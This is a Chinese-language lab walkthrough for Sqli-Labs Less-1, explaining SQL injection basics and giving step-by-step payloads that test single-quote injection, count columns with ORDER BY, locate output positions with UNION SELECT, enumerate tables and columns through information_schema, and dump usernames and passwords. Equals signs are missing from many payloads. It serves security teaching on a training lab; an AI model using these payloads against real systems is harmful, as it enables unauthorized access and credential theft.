
Sql注入的原理改变sql的判断条件普通注入或新添加指令1.普通注入(‘or11’)没有写新的sql,只是对原有语句进行了篡改满足or之后的条件也可运行2.新添加指令带在原本的sql后加上分号然后增加一句全新指令Sql的基础关键字段1.Select(要什么):例如SELECT username,password指取出username,password两列“ * ”指取出所有列2.from(从哪里例如user指从user这张表里取出数据3.where(细节过滤例如usernameAmy,指只找出用户名为Amy那一列连起来Select*FROM user WHERE username‘Amy’ AND password123456‘意思是从 user 表中查询所有列条件是用户名并且密码是123456Sql注入方式:第一关用到单引号字符型注入用 ’ 来打破闭合验证漏洞存在Sqli-Labs Less1 第一关1.第一步判断注入类型打开第一关显示如下在URL后面输入id1(?: 查询分隔符将前面的网页地址和后面要传给服务器的数据分开(id: 参数名代表要查询的字段数据(1: 传给网站的内容)输入?id1’显示如下出现报错说明id是单引号字符型注入。如果不报错说明是其它类型的注入2.第二步用order by猜列数order by x代表按第x列排序。 x≤总列数:正常执行 x≥总列数sql报错依次输入?id1’order by 1– , ?id1’order by 2– , ?id1’order by 3– , ?id1’order by 4–发现输入1,2,3时显示正确输入4时报错说明表不足4列当前的表一共3列。为什么要输入–后台自带的Sql末尾还有 ‘limit 0,1(为了一次只显示一条结果表示从第0行开始只取出1条数据)这样显示的语句变成 ?id1’order by 3’limit 0,1出现了两个闭合单引号干扰注入所以要用–注释掉 limit 0,1这个sql代码3.第三步union联合查询找显示位输入?id-1’ union select 1,2,3 --输入 id-1(让前面查询无数据只输出select1,2,3找到回显位置)如果前面查询有数据union后面的select 1,2,3内容会被盖住union是将两个查询结果合并4.第四步查询数据a.查询当前数据库名输入?id-1’ union select 1,2,database() --b.查询 security 库里面所有表名输入?id-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema‘security’ --union select 1,2,xx第三列是回显位置把查询结果放在第三个位置group_concat把多条查询结果合并成一行否则只能看到第一条表名table_name表的名字from information_schema.tables MYSQL系统自带的数据库有所有信息table_schema数据库名只查询security这个数据库里的表c.查询user表中的字段输入?id-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema‘security’ and table_name‘users’ --column_name字段列)的名字information_schema.columns存所有表的字段信息5.第五步爆账号密码输入?id-1’ union select 1,2,group_concat(username,‘:’,password,‘;’) from users --union 后面写查询直接读取 users 表的 username 和 password拿到账号密码username账号字段“”:分隔符号将账号和密码分开password:密码字段